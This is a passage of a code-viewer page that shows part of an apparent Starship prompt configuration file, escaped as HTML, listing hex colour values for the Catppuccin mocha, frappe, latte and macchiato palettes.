&lt;/span&gt;&lt;span&gt;&quot;#f38ba8&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;174&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;maroon&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#eba0ac&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;175&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;peach&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#fab387&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;176&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;yellow&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#f9e2af&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;177&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;green&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#a6e3a1&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;178&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;teal&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#94e2d5&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;179&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sky&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#89dceb&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;180&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sapphire&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#74c7ec&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;181&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;blue&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#89b4fa&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;182&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;lavender&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#b4befe&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;183&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#cdd6f4&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;184&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;subtext1&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#bac2de&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;185&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;subtext0&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#a6adc8&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;186&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;overlay2&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#9399b2&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;187&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;overlay1&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#7f849c&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;188&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;overlay0&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#6c7086&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;189&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;surface2&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#585b70&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;190&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;surface1&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#45475a&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;191&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;surface0&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#313244&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;192&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;base&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#1e1e2e&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;193&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mantle&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#181825&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;194&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;crust&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#11111b&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;195&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;196&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;palettes&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;catppuccin_frappe&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;197&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rosewater&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#f2d5cf&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;198&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;flamingo&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#eebebe&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;199&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pink&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#f4b8e4&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;200&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mauve&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#ca9ee6&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;201&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;red&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#e78284&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;202&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;maroon&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#ea999c&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;203&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;peach&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#ef9f76&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;204&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;yellow&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#e5c890&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;205&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;green&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#a6d189&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;206&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;teal&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#81c8be&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;207&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sky&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#99d1db&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;208&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sapphire&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#85c1dc&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;209&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;blue&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#8caaee&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;210&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;lavender&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#babbf1&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;211&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#c6d0f5&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;212&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;subtext1&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#b5bfe2&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;213&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;subtext0&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#a5adce&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;214&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;overlay2&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#949cbb&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;215&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;overlay1&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#838ba7&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;216&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;overlay0&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#737994&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;217&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;surface2&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#626880&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;218&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;surface1&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#51576d&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;219&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;surface0&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#414559&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;220&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;base&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#303446&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;221&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mantle&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#292c3c&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;222&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;crust&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#232634&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;223&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;224&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;palettes&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;catppuccin_latte&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;225&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rosewater&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#dc8a78&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;226&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;flamingo&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#dd7878&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;227&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pink&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#ea76cb&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;228&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mauve&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#8839ef&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;229&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;red&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#d20f39&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;230&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;maroon&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#e64553&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;231&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;peach&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#fe640b&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;232&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;yellow&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#df8e1d&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;233&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;green&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#40a02b&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;234&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;teal&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#179299&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;235&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sky&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#04a5e5&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;236&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sapphire&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#209fb5&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;237&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;blue&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#1e66f5&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;238&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;lavender&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#7287fd&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;239&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#4c4f69&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;240&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;subtext1&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#5c5f77&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;241&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;subtext0&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#6c6f85&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;242&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;overlay2&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#7c7f93&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;243&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;overlay1&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#8c8fa1&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;244&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;overlay0&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#9ca0b0&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;245&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;surface2&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#acb0be&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;246&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;surface1&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#bcc0cc&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;247&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;surface0&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#ccd0da&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;248&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;base&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#eff1f5&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;249&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mantle&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#e6e9ef&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;250&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;crust&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#dce0e8&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;251&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;252&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;palettes&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;catppuccin_macchiato&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;253&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rosewater&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#f4dbd6&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;254&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;flamingo&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#f0c6c6&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;255&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pink&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#f5bde6&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;256&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mauve&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#c6a0f6&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;257&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;red&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#ed8796&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;258&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;maroon&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#ee99a0&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;259&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;peach&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#f5a97f&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;260&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;yellow&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#eed49f&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;261&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;green&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#a6da95&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;262&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;teal&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#8bd5ca&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;263&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sky&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#91d7e3&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;264&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sapphire&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#7dc4e4&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;265&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;blue&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#8aadf4&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;266&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;lavender&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#b7bdf8&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;267&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#cad3f5&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;268&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;subtext1&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#b8c0e0&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;269&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;subtext0&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#a5adcb&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;270&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;overlay2&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#939ab7&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;271&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;overlay1&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#8087a2&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;272&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;overlay0&lt;/span&gt;&lt;span&gt; = 